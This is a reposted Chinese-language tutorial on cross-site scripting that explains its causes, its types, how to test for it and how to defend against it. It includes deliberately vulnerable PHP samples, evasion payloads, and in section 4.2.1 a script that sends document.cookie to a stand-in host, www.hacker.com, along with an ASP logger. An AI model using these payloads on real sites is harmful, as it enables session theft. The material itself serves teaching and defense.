轉跨站腳本攻擊詳解

1 前言
近年來，隨着Web2.0的大潮，愈來愈多的人開始關注Web安全，新的Web攻擊手法層出不窮，Web應用程序面臨的安全形勢日益嚴峻。
跨站腳本攻擊（XSS）就是常見的Web攻擊技術之一，因爲跨站腳本漏洞易於出現且利用成本低，因此被OWASP開放式Web應用程序安全項目（OWASP，Open Web Application Security Project）列爲當前的頭號Web安全威脅。
本文將從跨站腳本漏洞的產生原理、攻擊手法、檢測方法和防護手段四個方面出發，全面的介紹跨站腳本漏洞的方方面面，爲開發人員、安全測試人員以及對Web安全感興趣的同窗提供一份跨站腳本漏洞的技術參考手冊。

2 跨站腳本漏洞介紹
2.1 什麼是跨站腳本漏洞
跨站腳本漏洞（Cross Site Scripting，常簡寫做XSS）是Web應用程序在將數據輸出到網頁的時候存在問題，致使攻擊者能夠將構造的惡意數據顯示在頁面的漏洞。由於跨站腳本攻擊都是向網頁內容中寫入一段惡意的腳本或者HTML代碼，故跨站腳本漏洞也被叫作HTML注入漏洞（HTML Injection）。
與SQL注入攻擊數據庫服務器的方式不一樣，跨站腳本漏洞是在客戶端發動形成攻擊，也就是說，利用跨站腳本漏洞注入的惡意代碼是在用戶電腦上的瀏覽器中運行的。
2.2 跨站腳本漏洞的危害
跨站腳本攻擊注入的惡意代碼運行在瀏覽器中，因此對用戶的危害是巨大的——也須要看特定的場景：跨站腳本漏洞存在於一個無人訪問的小站幾乎毫無價值，但對於擁有大量用戶的站點來講倒是致命的。
最典型的場景是，黑客能夠利用跨站腳本漏洞盜取用戶Cookie而獲得用戶在該站點的身份權限。據筆者所知，網上就有地下黑客經過出售未公開的GMail、雅虎郵箱及hotmail的跨站腳本漏洞牟利。
因爲惡意代碼會注入到瀏覽器中執行，因此跨站腳本漏洞還有一個較爲嚴重的安全威脅是被黑客用來製造欺詐頁面實現釣魚攻擊。這種攻擊方式直接利用目標網站的漏洞，比直接作一個假冒網站更具欺騙性。
另外，控制了用戶的瀏覽器，黑客還能夠獲取用戶計算機信息、截獲用戶鍵盤輸入、刺探用戶所處局域網信息甚至對其餘網站進行GET Flood攻擊。目前互聯網已經有此類利用跨站腳本漏洞控制用戶瀏覽器的黑客工具出現。
固然，雖然跨站腳本攻擊是在客戶端瀏覽器進行，可是最終也是能夠攻擊服務器的。筆者就曾在安全測試過程當中就利用某Blog程序的跨站腳本漏洞獲得網站管理員身份並最終控制Web服務器。
2.3 跨站腳本漏洞的產生
跨站腳本漏洞是如何產生的呢？
大部分Web漏洞都源於沒有處理好用戶的輸入，跨站腳本也不例外。
請看如下一段PHP代碼：
<?PHP
echo "歡迎您，".$_GET['name'];
?>
稍微解釋一下，這段PHP代碼的意思是在頁面輸出字符串「歡迎您，」和URL中name參數的值，好比用瀏覽器訪問這個文件：http://localhost/test23.php?name=lakehu，頁面上就會出現「歡迎您，lakehu」字樣。其中lakehu是咱們經過URL中的參數name傳入的，name的值就是用戶的輸入。

咱們知道，瀏覽器對網頁的展示是經過解析HTML代碼實現的，若是咱們傳入的參數含有HTML代碼呢？對，瀏覽器會解析它而不是原封不動的展現——這個就與Web應用程序的設計初衷相反吧。
這樣經過參數訪問剛纔的PHP頁面：http://localhost/test23.php?name=lake<s>hu</s>，你將看到HTML標記被瀏覽器解釋了：

變本加厲的，若是傳入一段腳本<script>[code]</script>，那麼腳本也會執行。用這樣的URL將會執行JavaScript的alert函數彈出一個對話框：http://localhost/test.php?name=lake<script>alert(123456)</script>

經過上面簡單的示例咱們已經知道，Web應用程序在處理用戶輸入的時候沒有處理好傳入的數據格式就會致使腳本在瀏覽器中執行，這就是跨站腳本漏洞的根源。
2.4 跨站腳本漏洞的分類
2.4.1 非持久型XSS
非持久型XSS（Non-persistent）又叫作反射XSS（Reflect XSS），它是指那些瀏覽器每次都要在參數中提交惡意數據才能觸發的跨站腳本漏洞。
前一節演示的XSS漏洞屬於這種類型，由於每次咱們都是須要向參數name中提交惡意數據來實現跨站腳本攻擊。
通常來講，凡是經過URL傳入惡意數據的都是非持久型XSS。固然，也有經過表單POST的XSS例子：
<?PHP
echo "歡迎您，".$_POST['name'];
?>
Web應用程序獲取的參數name已經由GET變爲POST了，要觸發這個XSS漏洞就要稍微複雜一點，咱們須要寫一個網頁：
<form action="http://localhost/test.php" method="post">
<input name="name" value="<script>alert(123456)</script>" type="hidden" />
<input name="ss" type="submit" value="XSS提交測試" />
</form>
點擊「XSS提交測試」按鈕，你就又會看到瀏覽器彈出了可愛的對話框?

2.4.2 持久型XSS
持久型XSS（Persistent）又叫作存儲XSS（Stored XSS），與非持久型XSS相反，它是指經過提交惡意數據到存儲器（好比數據庫、文本文件等），Web應用程序輸出的時候是從存儲器中讀出惡意數據輸出到頁面的一類跨站腳本漏洞。
看個例子。
下圖是某BBS程序沒有處理髮帖正文中的惡意代碼就直接存儲到數據庫中：

而後讀帖子的時候程序從數據庫中讀出數據，結果數據中含有的惡意代碼在瀏覽器執行了（此處僅演示彈出對話框）：

這個漏洞是因爲程序會把UBB代碼[IMG]javascript:alert('XSS')[/IMG]轉換成HTML代碼：
<img src="javascript:alert('XSS')" /> IE6會解析上面的HTML代碼並執行img標籤src屬性中的JavaScript代碼，致使XSS的發生。
持久型XSS多出如今Web郵箱、BBS、社區等從數據庫讀出數據的正常頁面（好比BBS的某篇帖子中可能就含有惡意代碼），因爲不須要瀏覽器提交攻擊參數，因此其危害每每大於非持久型XSS。
2.5 跨站腳本漏洞的出現場景
根據數據輸出的不一樣，跨站腳本漏洞通常會出如今如下4個地方，瞭解了漏洞出現的場景，對咱們認識和修復漏洞是有積極意義的。
2.5.1 輸出在HTML頁面
前面2.3節的PHP代碼就是把數據輸出到HTML頁面的例子。這種狀況比較簡單，就是把傳入的參數值直接顯示在頁面，主要就是傳入的參數中帶有「<」和「>」符號會被瀏覽器解析。
2.5.2 輸出在HTML屬性中
看這樣一段代碼：
<?PHP
echo "<a href=\"".$_GET['name']."\">Enter</a>";
?>
這段PHP代碼的意思就是把獲得的name參數輸出到一段HTML標記的A標籤中，假設name的值是test，那麼你將獲得這樣的頁面：
<a href="test">Enter</a>
這時咱們再武斷地給name附上「test<script>alert(123456)</script>」是不會形成XSS攻擊的，由於腳本會被瀏覽器認爲是href的值，這時候須要稍微動點腦子才行：http://localhost/test2521.php?name=test">Hi</a><script>alert(123456)</script><!--
獲得這樣的頁面：
<a href="test">Hi</a><script>alert(123456)</script><!—">Enter</a>
請注意，藍色字體爲PHP程序輸出，而紅色字體是咱們提交的參數。哈哈，咱們提交的「">」和「</a>」閉合了原來的A標籤，而後跟上JavaScript代碼，以後的A標籤的後部分被<--註釋掉了。
以上就是傳入數據輸出到屬性中的狀況，關鍵點是咱們提交的數據可以閉合屬性標籤。這個例子是雙引號，其實屬性也是能夠用單引號甚至不用引號的（若是屬性的值中沒有空格的話就能夠不須要引號），道理都是同樣的，只要閉合它們就能夠了。
2.5.3 輸出在JavaScript代碼中
JavaScript和HTML結合緊密，因此有時候程序員們就會把參數輸出到JavaScript代碼中：
<?PHP
echo "<script>";
echo "var yourname = '".$_GET['name']."';";
echo "</script>";
?>
分析PHP代碼輸出的頁面，咱們很容易構造出XSS攻擊測試URL：http://localhost/test2531.php?name=a';alert(123456);//
其實是咱們利用單引號閉合了JavaScript代碼的變量賦值，而後再執行咱們的alert函數（由於PHP5在默認狀況下是會自動對傳入的單引號轉義的，這裏只是爲了演示，因此咱們認爲此處單引號不被轉義。即假設PHP的magic_quote_gpc爲Off）。
獲得的返回頁面是這樣的：
<script>
var yourname = 'a';alert(123456);//';
</script> 而後你又看到那個顯示123456表示腳本被執行的演示對話框了。
一樣的道理，若是是用的雙引號作變量賦值就須要傳雙引號進去破壞掉原來的JavaScript代碼。
2.5.4 基於DOM
DOM是Document Object Model（文檔對象模型）的縮寫。據W3C DOM規範（http://www.w3.org/DOM/），DOM是一種與瀏覽器，平臺，語言無關的接口，使得你能夠訪問頁面其餘的標準組件。
簡單理解，咱們把DOM認爲是JavaScript輸出的頁面，基於DOM的跨站腳本漏洞就是出如今JavaScript代碼中的漏洞。請注意，以前的3種輸出是屬於Web應用程序（CGI程序）代碼中的漏洞。
是的，你沒有看錯，含有JavaScript靜態HTML頁面也可能會存在XSS漏洞。
如下是一段存在DOM類型跨站腳本漏洞的代碼：
<script>
document.write(window.location.search);
</script>
在JS中window.location.search是指URL中?以後的內容，document.write是將內容輸出到頁面。因而乎，又是一個直接輸出到頁面的跨站腳本漏洞。好，來構造攻擊URL：http://localhost/test2541.php?<script>alert(123456)</script>

可是查看網頁源代碼，源代碼卻沒變：

這就是DOM，在瀏覽器的解析中改變頁面結構。這種特性檢測DOM的跨站腳本漏洞帶來了一點麻煩，由於它不能經過頁面源代碼來判斷漏洞，給自動化漏洞檢測帶來了挑戰。

3 跨站腳本漏洞檢測技術
3.1 黑盒測試
黑盒測試是指在不知道源代碼的狀況下經過各類技術手段對Web應用程序進行的探測，這個就是從黑客的視角去發現問題。
3.1.1 測試原理
測試跨站腳本漏洞的原理很簡單，就是咱們嘗試提交可能有問題的數據，而後分析返回頁面。
通常是修改參數值爲一個標誌字符串，而後搜索頁面是否含有該字符串。若是有，說明頁面會把參數輸出。接着就是分析返回頁面構造攻擊參數，前面2.5提到了4種場景，根據不一樣的場景有不一樣的攻擊參數。
以2.3節中的代碼爲例，要測試這個URL，咱們就先提交http://localhost/test23.php?name=XSSTest，而後在返回的頁面中搜索到字符「XSSTest」，說明name參數的值是直接輸出到頁面的。接着咱們分析頁面，發現name參數的值是直接輸出到頁面的，因此跟着提交一個含有HTML標記的字符串：http://localhost/test23.php?name=<b>XSS< /b>，返回頁面中仍然發現有「<b>XSS</b>」，並且頁面中的「<b>XSS</b>」 已經被瀏覽器解析，至此，能夠判斷該URL存在跨站腳本漏洞。

對於DOM跨站腳本漏洞的測試，就不能搜索頁面源代碼是否含有傳入的標誌字符串了，稍微複雜一點，可能須要閱讀JavaScript代碼、觀察頁面內容並查看頁面是否出現JavaScript代碼異常等行爲。常見的出問題的代碼是eval、 document.write、document.writeln、window.exeScript、標籤的innerHTML屬性、標籤的src屬性。
3.1.2 經常使用測試用例
由於跨站腳本漏洞是在瀏覽器中執行的，而各個瀏覽器對HTML標籤及JavaScript解釋有所不一樣，因此攻擊代碼其實就根據瀏覽器的不一樣而不一樣。
好比下面的HTML在IE6下會執行JavaScript彈出對話框，可是在IE7及Firefox下就不會執行：
<img src="javascript:alert(123456)" />
並且就上面一段測試用例就還有不少種變形，如下是一小部分：
<img src="javasc
ript:alert(123456)" />
回車分割

<img src="jav ascript:alert(123456)" />
Tab分割

<IMG 
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;
&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;123456&#39;&#41;>
面對XSS漏洞的那麼多用例和變形，是否是有些頭暈了？呵呵，好在有個叫Rsnake的老外按照瀏覽器分類及變形概括了一份XSS測試手冊（XSS Cheat Sheet），你能夠去他的網站找到它：http://ha.ckers.org/xss.html

如圖所示，XSS Cheat Sheet幾乎概括了全部的XSS利用形式及支持的瀏覽器，實在是XSS研究的最佳資料。
3.1.3 測試自動化——使用Web漏洞掃描器
當咱們熟練了以後，測試就是體力活了，並且URL數量不少的話人工也忙不過來，因此咱們要把測試工做自動化。
這個時候可使用Web漏洞掃描器來實現對跨站腳本漏洞的檢測，免費的軟件有ProxyStrike、Paros、WebScarab等，商業的掃描器有 AppScan、WebInspect等，這些都是比較自動化進行Web漏洞測試的工具，有興趣的同窗能夠google一把下載來試用。
固然，掃描器只是提升效率的工具，並不能徹底代替手動測試，由於掃描器受到規則和技術的限制，可能會有誤報甚至漏報。好比BBS發帖這種交互性很強的地方掃描器很難對其進行測試——人工測試仍是必不可少的。
3.2 白盒測試
白盒測試就是閱讀代碼找漏洞了，這種測試方案適合公司內部以及開源項目。這種基於代碼檢測的方案也叫作代碼審計（Code Audit）。
3.2.1 測試原理
簡單的說，就是根據相關語言定義一些可能致使跨站腳本漏洞的函數（通常爲輸出函數），而後去找檢查這些函數的參數是否由外部傳入且未通過安全處理。
好比PHP，就是檢查echo、print函數的參數是否來自外部而且沒有通過防跨站處理就直接顯示到頁面；對ASP來講，就是response.write之類的輸出函數。
好比這樣的PHP代碼就有問題：
<?PHP
echo 「歡迎您，」.$_GET[‘name’];
?>
這個時候就先定位echo函數，而後發現其輸出的值來自外部（$_GET[‘name’]）並且未做安全處理。
其餘的語言也是同樣的道理。
3.2.2 測試自動化——使用代碼審計工具
仍是使用工具來提升效率，針對不一樣的語言，有不一樣的代碼審計工具。好比微軟提供的檢查.Net代碼跨站腳本漏洞的工具XSS Detect Beta Code Analysis Tool（http://www.microsoft.com/downloads/details.aspx?FamilyID=19a9e348- bdb9-45b3-a1b7-44ccdcb7cfbe&DisplayLang=en）就很不錯。
這裏主要是選擇支持你要測試的Web應用程序開發語言的代碼審計工具。

4 跨站腳本攻擊技術
4.1 如何發動攻擊
針對XSS漏洞的兩種不一樣類型，利用方式也是不同的。
4.1.1 非持久型XSS攻擊
非持久型XSS漏洞實際上大多數攻擊數據是包含在URL中的，相似這樣的：http://www.vicitim.com/vul.asp?hi=[code]。
須要用戶的瀏覽器訪問到這個URL惡意代碼才執行，攻擊者通常會把URL發給用戶讓用戶經過瀏覽器去訪問。不過URL裏面帶有稀奇古怪的代碼確實有點奇怪，爲了掩人耳目，攻擊者能夠發一個看起來沒問題的URL，再經過那個頁面跳轉到惡意的URL；甚至也可讓一個域名轉向到惡意URL，把那個域名發給用戶。
4.1.2 持久型XSS攻擊
持久型XSS攻擊就簡單一點，只要第一次把攻擊代碼提交到服務器就一勞永逸了。
好比我在某個論壇發帖的時候，論壇沒有對傳入的HTML做處理，那麼我就能夠發一個帖子內容包含「<script>[code]</script>」的帖子。呵呵，而後就守株待兔地等着來看帖子的人執行惡意腳本了。
持久型XSS漏洞是把惡意腳本存儲到了數據庫，訪問頁面的時候徹底沒有預兆，因此它的危害也比非持久型XSS略微高一點。
4.2 常見攻擊手法
4.2.1 盜取Cookie
Cookie是Web程序識別不一樣的用戶的標識，若是獲得某人的Cookie，黑客就能夠以他的身份登錄網站了，因此跨站腳本攻擊的第一個目標就是拿到它。想想，若是是Web郵箱有一個XSS漏洞，當你查看一封郵件的時候，你的身份標識已經被別人拿到，黑客就能夠自由出入你的郵箱了。
在JavaScript中可使用document.cookie來得到當前瀏覽器的Cookie，因此咱們通常是執行這樣的代碼來得到Cookie併發送到某個地方記錄之：
<script>
document.write("<img src=http://www.hacker.com/getcookie.asp?c="+escape(document.cookie)+">");
</script> 這段代碼就是輸出img標籤並訪問黑客的Web服務器的一個ASP程序。注意，這裏是把當前的Cookie做爲參數發送出去了哦（爲了不出現特殊字符，這裏使用了escape函數對Cookie進行URL編碼）。咱們看看抓包的結果：

而後在www.hacker.com上的getcookie.asp須要記錄傳入的參數（就是受害用戶的Cookie啦），代碼是這樣的：
<%
if Request("c")<>"" then
Set fs = CreateObject("Scripting.FileSystemObject")
Set outfile=fs.OpenTextFile(server.mappath("a.txt"),8,True)
outfile.WriteLine Request("c")
outfile.close
Set fs = Nothing
end if
%>
一旦有cookie發過來，ASP程序就會把cookie寫入到當前目錄的a.txt文件中。
有了Cookie，黑客就能夠找一個自定義Cookie的瀏覽器以用戶身份訪問Web了。
4.2.2 盜取Cookie升級版——保持會話
前面一節講的黑客能夠記錄Cookie，是的，存儲型Cookie倒沒問題，可是若是是會話型Cookie（也就是Session）的話，過一段時間若是用戶不訪問頁面Session也就失效了。
爲了解決Session時效性的問題，因此出現了實時記錄Cookie並不斷刷新頁面保持Session的程序——SessionKeeper：

這個工具的原理是獲得用戶Cookie後會自動模擬瀏覽器提交請求不斷刷新頁面以維持Session的存在。
4.2.3 頁面劫持——掛馬和釣魚攻擊
固然，黑帽子黑客之因此是黑帽子的緣由是經濟動力，因此跨站腳本攻擊也會被他們利用來爲本身產生經濟效益。
掛馬和釣魚是兩個最好不過的生財之道了。
所謂掛馬就是在網頁中添加一些惡意代碼，這些代碼是利用了瀏覽器及ActiveX控件的漏洞進行攻擊的。若是你的機器上不幸存在這些漏洞，那你訪問到這個頁面的時候你就中木馬了。在掛馬行業，中你木馬的人越多，你的收益就越高。
在XSS的攻擊代碼中，須要用iframe或者script甚至彈出窗口引入含有網頁木馬的惡意代碼網頁/文件。相似的代碼（http://hacker是一個包含惡意代碼的頁面）：
<iframe width="0" height="0" src="http://hacker"></iframe>
釣魚攻擊（Phishing Attack）我想你們都看到過，就是常常在QQ、QQ遊戲、空間等地方看到的中獎信息。利用XSS漏洞的釣魚更加隱蔽且更具欺騙性。
由於JavaScript腳本功能強大，咱們能夠利用它來更改整個頁面內容，因此咱們就能夠製造出利用真的目標域名的假頁面：

其實只是一個XSS引入JavaScript代碼修改了頁面元素而已：

原來的頁面：

4.2.4 XSS蠕蟲的故事
咱們把那種感染能進行自我複製和傳播的病毒叫作蠕蟲病毒。當年攻擊機器無數、形成巨大破壞的的衝擊波、震盪波病毒就是蠕蟲病毒。這些傳統的蠕蟲病毒是依靠遠程緩衝區溢出進行傳播，在Web2.0時代，蠕蟲病毒能夠利用跨站腳本漏洞進行傳播。
百度空間在07年聖誕就遭到過XSS蠕蟲的傳播。
當時百度空間自定義CSS的地方過濾不嚴致使出現一個持久型XSS漏洞。2007年12月25日晚，有黑客寫出了利用這個漏洞進行XSS攻擊並自我傳播的 JavaScript惡意代碼。感染該蠕蟲的空間將會在空間中存在惡意代碼並修改訪問該空間的其餘百度空間用戶的CSS植入XSS攻擊代碼，還會向好友發送消息誘騙好友來訪問中毒的空間。截至26日晚7點百度空間找到緣由並修復漏洞，有大於8000個用戶空間感染了蠕蟲代碼。

幸虧百度空間及時發現蠕蟲並修復漏洞，隨着時間的增長，被感染的空間將以幾何級增加。因而可知，一旦在業務爆發XSS蠕蟲將給業務帶來巨大的損失。

5防護跨站腳本攻擊
5.1 編寫安全的代碼
通過第二章咱們知道，跨站腳本漏洞是因爲程序在輸出數據的時候沒有做好處理致使惡意數據被瀏覽器解析形成的。因此，對付XSS漏洞最好的辦法就是編寫安全的代碼。
5.1.1 安全的處理數據
第二章中提到跨站腳本漏洞出現的幾個場景，咱們只要在輸出數據的時候處理按輸出的場景好數據就能夠了。
直接輸出在頁面的數據須要對「<」、「>」HTML編碼：
< 編碼爲 &lt;
> 編碼爲 &gt;
輸出在HTML屬性中的數據不能讓屬性值被閉合。用雙引號（"）表示的屬性須要編碼屬性值中的雙引號：
" 編碼爲&quot;
用單引號（'）表示的屬性須要編碼屬性值中的單引號：
' 編碼爲&#39;
輸出到頁面JavaScript中的代碼也要注意編碼。這個要視具體狀況而定，好比2.5.3中提到的PHP代碼：
<?PHP
echo "<script>";
echo "var yourname = '".$_GET['name']."';";
echo "</script>";
?>
實際上須要用單引號（'）閉合JavaScript代碼，這裏就須要按照JavaScript的語法把單引號轉義：
' 轉義爲 \'
這樣就沒法經過傳入單引號來閉合代碼了。可是仍是能夠利用傳入「</script>」來閉合整個script標籤（在JavaScript語法中，</script>閉合標籤老是優先）：
<script>
var yourname = 'a</script><script>alert()//';
</script> 因此咱們還編碼傳入的「<」和「>」。
前面還提到的IE6下img標籤的XSS漏洞：
<img src="javascript:alert(123456)" />
這裏就要限制img標籤的src屬性始終以http://或https://開頭（白名單匹配）。
OK，咱們總結一下，防護跨站腳本漏洞的安全編碼工做主要是編碼輸出在頁面中會破壞原有代碼（HTML、JavaScript甚至WML等）規則的特殊字符以及對某些標籤的某些屬性進行白名單檢查。
5.1.2 提升攻擊門檻
跨站腳本攻擊的主要目標之一是盜取Cookie，因此咱們能夠利用瀏覽器的安全特性來防護Cookie的盜取。注意一點，本節內容只是在存在XSS攻擊的狀況下減少XSS攻擊的危害並提升攻擊門檻，並不能徹底防止XSS攻擊——杜絕XSS攻擊的根源仍是安全的編碼。
通常來講，公司的站點不少，單獨的業務就能夠在子域下設置本身的cookie，而不須要別的子域使用你的cookie。好比show.qq.com的 cookie就不須要在其餘域下使用。這樣的話，咱們能夠經過設置cookie的做用域來減小cookie的暴露面。在HTTP響應頭的Set- Cookie字段設置域限制：
Set-Cookie: a=123; domain=show.qq.com
這樣「a=123」就只有在show.qq.com下才能訪問了。
同理，甚至咱們能夠限制cookie在某一子域名某個目錄下存在，在別的目錄將沒法訪問這個cookie：
Set-Cookie: a=123; path=/test
「a=123」就只有在當前網站下的test目錄才能訪問了。即便test2目錄出現XSS漏洞，攻擊者也拿不到「a=123」這個cookie。
另外，在設置Cookie的時候，能夠附加一個HTTPOnly的屬性，這樣的話，當瀏覽器向Web服務器發起請求的時就會帶上cookie字段，可是在腳本中卻不能訪問這個cookie，這樣就避免了XSS攻擊利用JavaScript的document.cookie獲取cookie：
Set-Cookie: a=123; HTTPOnly;
以上的字段均可以在程序中設置的。
5.2 在客戶端防護
若是Web應用程序安全性好，就不存在XSS攻擊。可是這個畢竟對開發人員要求過高，目前來講大部分網站還不能作到避免XSS漏洞，因此有時候咱們須要在客戶端進行防護（特別是在對安全要求特別高的狀況）。
徹底禁止JavaScript？這是個因噎廢食的辦法。不能由於互聯網上有病毒和黑客，咱們就不上網了是否是。
在firefox下有一款插件叫作NoScript就是專用於防止XSS攻擊的；IE運氣沒有這麼好，不過能夠把安全級別設置爲高，並使用白名單隻容許在信任的站點運行腳本、flash和Java小程序。

6 安全中心的技術支持
廣告時間^_^
6.1 TCodeScan
TCodeScan是安全中心開發的代碼審計工具，目前支持對C、C++、PHP代碼的檢查。詳細介紹：http://soc.itil.com/tcodescan/index.html
6.2 CGI掃描器
CGI掃描器是安全中心開發的針對Web漏洞的黑盒測試工具。它可以檢測包括跨站腳本漏洞、SQL注入漏洞、跳轉漏洞、info漏洞在內的常見Web漏洞。
同時，根據公司的《上線前安全檢查規範》，公司全部的CGI業務上線前都要經過CGI掃描器的檢查。
地址：http://soc.itil.com/inscan
6.3 CGI安全API
CGI安全API是安全中心爲Web應用程序提供的一套Web漏洞解決方案，主要針對SQL注入漏洞和跨站腳本漏洞等常見漏洞。目前支持的語言包括C、C++、Java、JavaScript。
詳情請見：http://soc.itil.com/sec_api/index.html